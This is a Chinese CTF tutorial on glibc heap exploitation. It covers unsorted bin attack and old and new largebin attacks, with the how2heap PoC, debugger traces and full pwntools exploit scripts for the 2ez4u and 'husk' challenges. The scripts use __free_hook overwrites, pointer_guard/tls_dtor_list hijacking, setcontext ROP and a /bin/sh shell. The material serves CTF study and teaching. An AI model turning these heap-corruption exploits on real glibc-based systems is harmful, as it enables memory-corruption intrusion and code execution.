leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def choice(cho):
sla(">>",cho)

def add(size,content):
choice(1)
sla('Size:',size)
sla('Content:',content)

def add1(size,content):
choice(1)
sla('Size:',size)
p.sendafter('Content:',content)

def delete():
choice(2)

def show():
choice(3)

def edit(content):
choice(5)
sla('Content:',content)

def edit1(content):
choice(5)
p.sendafter('Content:',content)

def pwn():
#gdb.attach(p)
add(0x80,'powercat')
delete()
show()
heap_leak = u64(r(6).ljust(8, b'\x00'))
heap_base = heap_leak * 0x1000
leak('heap base: ',heap_base)
edit('powercat')
delete()
tcache_struct = heap_base + 0x10
pl = heap_leak ^ tcache_struct
print(pl)
edit1(p64(pl))
add(0x80, 'powercat')
add(0x80, '\x00\x00' * (0xe + 0x10 + 9) + '\x07\x00')
delete()
add(0x40, ('\x00\x00' * 3 + '\x01\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x70, '\x00'))
add(0x30, '\x00'.ljust(0x30, '\x00'))
add1(0x10, p64(0) + p16(0x66c0))
add1(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

libcbase = uu64(ru(b'\x7f')[-5:]+b'\x7f') - 0x1e4744
print(hex(libcbase))
add1(0x10, p64(libcbase + libc.sym['__free_hook']-0x20))
add1(0x70, p64(libcbase + libc.sym['system']))
add1(0x10, b'/bin/sh\x00')
delete()
gdb.attach(p)
itr()
'''
if __name__ == '__main__':
count = 1
i = 0
while True:
try:
print('the no.' + str(count) + ' try')
print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
p = process('./pwn')
pwn(i)
except Exception as e:
print(e)
p.close()
i = i + 1
count = count + 1
i = i % 16
continue
'''
if __name__ == '__main__':
pwn()
#'''

libc_heap(3)

前言

说到向任意地址上写一个较大的数值,下意识绝对会想到unsorted bin attack,在一些较低版本的题目中unsorted bin attack是奏效的,但是在glibc-2.29之后,增加了一些保护unsorted bin attack这种利用方法基本上是不能用了。不过可以找到替代的利用方法。就像上一篇文章我们所讲到的Tcache Stashing Unlink Attack,可以实现向任意指定位置写入可控的值。而有一个新的利用方法largebin attack可以任意地址写一个堆地址,这样来看的话不需要leak_heap_addr就可以将可控制堆块的地址写入目标地址。

缅怀过去

感谢unsorted bin attack在glibc-2.29之前为pwn做出的贡献。

还是要简单的说一下unsorted bin attack的利用原理的:Unsorted Bin在使用过程中,采用的遍历顺序是FIFO(先进先出),即挂进链表的时候依次从Unsorted bin的头部向尾部挂,取的时候是从尾部向头部取。在程序malloc时,如果fast bin、small bin中找不到对应大小的chunk,就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足,则直接交给用户,否则就会把这些chunk分别插入到对应的bin中。结合源码来看

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

unsortedbin的bk指针指向的是后一个释放的堆块地址,那么如果我们能够控制unsortedbin的bk指针指向一个可写的地址内,就可以向其地址写上一个unsorted bin的地址。

关于largebin attack的过去

关于在glibc-2.29之前的largebin attack,是在申请largebin的过程中,伪造largebin的bk_nextsize,实现非预期内存申请。这种利用的关键在于伪造一个largebin chunk,然后将fake chunk申请出来。

largebin的分配源码是这样的:

可以看到largebin中并不是像其他bin一样存放的都是大小相同的chunk,在largebin中存储的是大小不同的chunk,所以这就应声而出了两个largebin chunk特有的两个字段——fd_nextsize和bk_nextsize。largebin中的chunk按照大小排序,fd_nextsize指向下一个比当前chunk大小小的第一个空闲块,bk_nextsize指向前一个比当前chunk大小大的第一个空闲chunk,这样的结构有利于程序更好的遍历largebin中的堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/

if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin && //获取链表的第一个chunk
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
victim = victim->bk_nextsize; //反向遍历,chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd); //large bin的unlink操作

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

实例-2017lctf-2ez4u

我们主要是了解largebin attack的利用,题目的逆向部分我们简单描述一下:程序保护全开,经典的菜单题目,增查删改一应俱全,free函数里面存在uaf漏洞,在free堆块之后没有将堆块指针清零。

leak_heap_addr

通过释放两个largebin大小的堆块,使他们构成一条largebin的链子,这样的话chunk中的fd_nextsize与bk_nextsize会被赋值,再利用UAF打印即可得到堆块地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
add(0x60,  '0'*0x60 ) # 0
add(0x60, '1'*0x60 ) # 1
add(0x60, '2'*0x60 ) # 2
add(0x60, '3'*0x60 ) # 3
add(0x60, '4'*0x60 ) # 4
add(0x60, '5'*0x60 ) # 5
add(0x60, '6'*0x60 ) # 6
add(0x3f0, '7'*0x3f0) # 7
add(0x30, '8'*0x30 ) # 8
add(0x3e0, '9'*0x3d0) # 9
add(0x30, 'a'*0x30 ) # a
add(0x3f0, 'b'*0x3e0) # b
add(0x30, 'c'*0x30 ) # c
dele(0x9) ##释放第一个大块
dele(0xb) ##释放第二个大块
dele(0x0)
gdb.attach(io)
add(0x400, '0'*0x400) #申请一个较大的块,使得unsorted bin数组清空
# leak
show(0xb) ##泄露得到堆地址
io.recvuntil('num: ')
print hex(c_uint32(int(io.recvline()[:-1])).value)
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
伪造largebin chunk

在上一步泄露了heap地址,剩下的前期任务就是要泄露libc。使用的方法就是利用的伪造largebin chunk。不需要将伪造的堆块释放,修改之前被释放堆块的bk_nextsize字段即可,对应到源代码中代码即victim = victim->bk_nextsize,这一点使用UAF即可做到,但想要将该堆块申请出来,还需要绕过unlink的限制,这也可以通过UAF实现。在可以将伪造的堆块申请出来之后,我们可以在伪造的堆块中包含有正常的small bin,这样就可以达到泄露出libc地址以及修改内存的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b
# large bin attack
edit(0xb, p64(chunk1_addr)) # victim ##修改victim = victim->bk_nextsize,伪造堆块开始
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target ##这一步是为了绕过unlink的fd与bk检查
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr) ##这一步是为了绕过fd_nextsize与bk_nextsize检查
edit(0x3, chunk2) # chunk2
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr) ##伪造的堆块
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411)) ##伪造的堆块后加上结构体。
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!! ##将伪造的堆块申请出来,从此便可为所欲为。。。
add(0x60, '6'*0x60 ) #
show(0x3) ##伪造的堆块中包含small bin,泄露libc地址
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

剩下的就是简单的利用uaf和fastbin attack hijack free_hook为system。

关于如今的largebin attack

在新出的glibc版本中如2.31(目前比赛主流的版本)增加了两个检查使得之前的largebin attack没有办法使用惹

检查一

1
2
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

检查二

1
2
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

凡是需要找个实例

这次还是找到了how2heap的largebin_attack.c

image.png

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}


*/

int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

printf("====================================================================\n\n");

size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");

printf("\n");

size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");

printf("\n");

free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

printf("\n");

free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);

printf("\n");

p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

printf("\n");

size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

printf("\n");

printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);

printf("\n");
printf("====================================================================\n\n");

assert((size_t)(p2-2) == target);

return 0;
}

从此poc调试中去学习一下新型largebin attack的工作过程

首先是程序申请了4个堆块分别为0x428、0x18、0x418、0x18

申请的g1和g2是为了防止两个比较大的堆块合并.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0x55555575a000 PREV_INUSE {
mchunk_prev size = 0x0,
mchunksize = 0x291,
fd = 0x0,
bk = 0x0,
fd nextsize = 0x0,
bk nextsize = 0x0,
}
0x55555575a290 PREV_INUSE {
mchunk_prev size = 0x0,
mchunksize = 0x431,
fd = 0x0,
bk = 0x0,
fd nextsize = 0x0,
bk nextsize = 0x0,
}
0x55555575a6c0 FASTBIN {
mchunk_prev size = 0x0,
mchunksize = 0x21,
fd = 0x0,
bk = 0x0,
fd nextsize = 0x0,
bk nextsize = 0x421,
}
0x55555575a6e0 PREV_INUSE {
mchunk_prev size = 0x0,
mchunksize = 0x421,
fd = 0x0,
bk = 0x0,
fd nextsize = 0x0,
bk nextsize = 0x0,
}
0x55555575ab00 PREV_INUSE {
mchunk_prev size = 0x0,
mchunksize = 0x20501,
fd = 0x0,
bk = 0x0,
fd nextsize = 0x0,
bk nextsize = 0x0,
}

再往后释放了p1堆块,到unsorted bin中

1
2
unsortedbin
all: 0x55555575a290 -> 0x7ffff7fc1be0 (main arena+96) <- 0x55555575a290

之后有分配了一个比p1大的堆块使得p1堆块能够进入largebin中

1
2
3
largebins
0x400: 0x55555575a290 -> 0x7ffff7fc1fd0 (main arena+1104) <- 0x55555575a290
pwndbg>

然后程序free p2堆块进入到unsorted bin中

1
2
3
4
5
6
7
unsortedbin
all: 0x55555575a6e0 -> 0x7ffff7fc1be0 (main_arena+96) <- 0x55555575abe0
smallbins
empty
largebins
0x400: 0x55555575a290 -> 0x7ffff7fc1fd0 (main arena+1104) <- 0x55555575a290
pwndbg>l

然后就是修改了p1chunk的bk_nextsize指向target-0x20

1
2
3
4
5
6
7
8
9
10
11
修改前:
0000000000000000 0000000000000431
00007ffff7fc1fd0 00007ffff7fc1fd0
000055555575a290 000055555575a290
0000000000000000 0000000000000000
修改之后:
0000000000000000 0000000000000431
00007ffff7fc1fd0 00007ffff7fc1fd0
000055555575a290 00007fffffffddc0
0000000000000000 0000000000000000
0000000000000000 0000000000000000

此时target-0x20的值为0x7fffffffddc0。

下面的这一步就要用到如下的代码了:

1
2
3
4
5
6
7
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

程序下一步是malloc了一个比p2还要大的堆块,与p1同理,这个时候p2就会从unsortedbin中放入largebin中。此时就用到了上面的关键代码。victim 是我们的 p2,fwd 为 largebin 的链表头,bck为 largebin 中的最后一个chunk,也就是最小的那个,也就是我们这里的 p1。

取上边代码最关键的三行

1
2
3
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

根据我们分析到的实际问题进行实体性简化:

1
2
3
p2->fd_nextsize = &p1
p2->bk_nextsize = p1->bk_nextsize
p1->bk_nextsize = bk_nextsize->fd_nextsize = victim

然后我们是将p1的bk_nextsize改为了target-0x20,所以就可以得到这样的表识:

1
2
3
p2->fd_nextsize = &p1
p2->bk_nextsize = p1->bk_nextsize
p1->bk_nextsize = (target-0x20)->fd_nextsize = victim

其实,这三行置零最重要的是最后一行的(target-0x20)->fd_nextsize = victim这就相当于在(target-0x20)+0x20也就是target的地方写下victim也就是p2的地址。

常见利用方式

这种写大数的行为,我们可以用来修改global_max_fast,来使程序中分配的堆块都被识别成fastbin,这样来进行一些可以实现的fastbin attack。再恶劣一点的环境来说,我们可以利用其来进行指针的劫持,劫持为我们可控的地方,在可控的地方为造出原本应有的结构体产生劫持程序流的效果(iofile_attack:你直接说我名字得了)。

题目实例

2021湖湘杯2.34的pwn——husk,chunk申请范围是0x40f到0x500,漏洞是uaf

我们利用这个方式就是:通过两次largebin attack将已知地址写入结构体指针tls_dtor_listfs:0x30(tcbhead_t->pointer_guard)里,然后风水布置堆块,伪造dtor_list结构体,接下来就是利用__call_tls_dtors函数来调用我们的指针。

一点回顾

在系列文章第一篇最后写到了比较方便的gadget去间接控制rdx寄存器就是这里用到了

1
2
3
mov     rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

可以通过这个gadget通过rdi来控制rdx寄存器。

exp:

附上网传exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
import os
context.log_level = 'debug'
context.arch='amd64'
binary = './pwn'
main_arena = 2198624
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
#context.terminal = ['tilix', '-x', 'sh', '-c']
#context.terminal = ['tilix', 'splitw', '-v']
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(index,size,flag=1):
pay = b'\x01'
pay += p8(index)
pay += p16(size)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay

def free(index,flag=1):
pay = b'\x02'
pay += p8(index)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay

def show(index,flag=1):
pay = b'\x03'
pay += p8(index)
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay

def edit(index,size,content,flag=1):
pay = b'\x04'
pay += p8(index)
pay += p16(size)
pay += content
if flag == 1:
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
else:
return pay

add(0,0x410)#0
add(1,0x460)#1
add(2,0x418)#2
add(3,0x440)#3
add(4,0x410)#4
#---free(1) and show(1)---
pay = free(1,0)
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#-------------------------
#---------leak------------
libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8,b'\x00')) - main_arena - 96
su('libc_base',libc_base)
pointer_guard_addr = libc_base - 0x2890
tls_dtor_list_addr = libc_base - 0x2918
su('pointer_guard_addr',pointer_guard_addr)
su('tls_dtor_list_addr',tls_dtor_list_addr)
set_context = libc_base + libc.sym['setcontext'] + 61
fh = libc.sym['__free_hook']+libc_base
#0x000000000005dfd1 : mov rax, rdi ; ret
#0x0000000000169e90 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
ret = libc_base + libc.sym['setcontext'] + 334
syscall = next(libc.search(asm("syscall\nret")))+libc_base
#---------------------------------------
#------largebin attack and leak heap----
pay = free(3,0)
pay += edit(1,0x20,p64(0)*3+p64(pointer_guard_addr-0x20),0)
pay += add(5,0x500,0)#5
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
ru('Malloc Done\n')
heap = u64(r(6).ljust(8,b'\0')) - 0x2f50
su('heap',heap)
pay = edit(1,0x20,p64(heap+0x2f50)+p64(libc_base+main_arena+1120)+p64(heap+0x2f50)+p64(heap+0x2f50),0)
pay += edit(3,0x20,p64(libc_base+main_arena+1120)+p64(heap+0x26c0)+p64(heap+0x26c0)+p64(heap+0x26c0),0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#---------------------------------------
add(1,0x460)#1
add(3,0x440)#3
#------largebin attack ------------------
free(1)
pay = free(3,0)
pay += edit(1,0x20,p64(0)*3+p64(tls_dtor_list_addr-0x20),0)
pay += add(5,0x500,0)#5
pay += show(1,0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
ru('Malloc Done\n')
heap = u64(r(6).ljust(8,b'\0')) - 0x2f50
su('heap',heap)
pay = edit(1,0x20,p64(heap+0x2f50)+p64(libc_base+main_arena+1120)+p64(heap+0x2f50)+p64(heap+0x2f50),0)
pay += edit(3,0x20,p64(libc_base+main_arena+1120)+p64(heap+0x26c0)+p64(heap+0x26c0)+p64(heap+0x26c0),0)
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#---------------------------------------
#0x0000000000169e90 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
#--------------------------------------
pay = add(1,0x460,0)#1
pay+=free(2,0)#0
pay+=add(2,0x430,0)#1
pay += b'\x05'
ru("Pls input the opcode\n")
s(pay)
#--------------------------------------
rop = (0x0000000000169e90+libc_base)^(heap+0x2f50)
rop = ((rop>>(64-0x11))|(rop<<0x11))
pay = b''.ljust(0x410,b's')+p64(rop)+p64(heap+0x26d0)
edit(2,len(pay),pay)
gdb.attach(io)
payload = p64(0)+p64(heap+0x26d0)+p64(0)+p64(0)+p64(set_context)
payload = payload.ljust(0x70,b'\0')+p64(fh&0xfffffffffffff000)#rsi
payload = payload.ljust(0x68,b'\0')+p64(0)#rdi
payload = payload.ljust(0x88,b'\0')+p64(0x2000)#rdx
payload = payload.ljust(0xa0,b'\0')+p64((fh&0xfffffffffffff000)+8)#bytes(frame)
payload = payload.ljust(0xa0,b'\0')+p64(syscall)#rip
edit(1,len(payload),payload)#make rdx = chunk3
add(1,0x550)
ru(b'ERROR\n')
pop_rdx_r12_ret = 0x0000000000122431+libc_base
layout = [next(libc.search(asm('pop rdi\nret')))+libc_base
,fh&0xfffffffffffff000
,next(libc.search(asm('pop rsi\nret')))+libc_base
,0
,p64(pop_rdx_r12_ret)
,p64(0)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,2
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,3
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,p64(pop_rdx_r12_ret)
,p64(0x30)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,0
,syscall
,next(libc.search(asm('pop rdi\nret')))+libc_base
,1
,next(libc.search(asm('pop rsi\nret')))+libc_base
,(fh&0xfffffffffffff000)+0x200
,p64(pop_rdx_r12_ret)
,p64(0x30)
,p64(0)
,next(libc.search(asm('pop rax\nret')))+libc_base
,1
,syscall]
shellcode=b'./flag'.ljust(8,b'\x00')+flat(layout)
gdb.attach(proc.pidof(io)[0])
s(shellcode)
shell()

后记

我认为在这么卷的时代,这种新的利用方式将成为之后的主流攻击方式。

参考链接

(11条消息) glibc-2.29 large bin attack 原理_TUANZI_Dum的博客-CSDN博客

(11条消息) 好好说话之Unsorted Bin Attack_hollk的博客-CSDN博客

Largebin Attack for Glibc 2.31 - 安全客,安全资讯平台 (anquanke.com)

You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.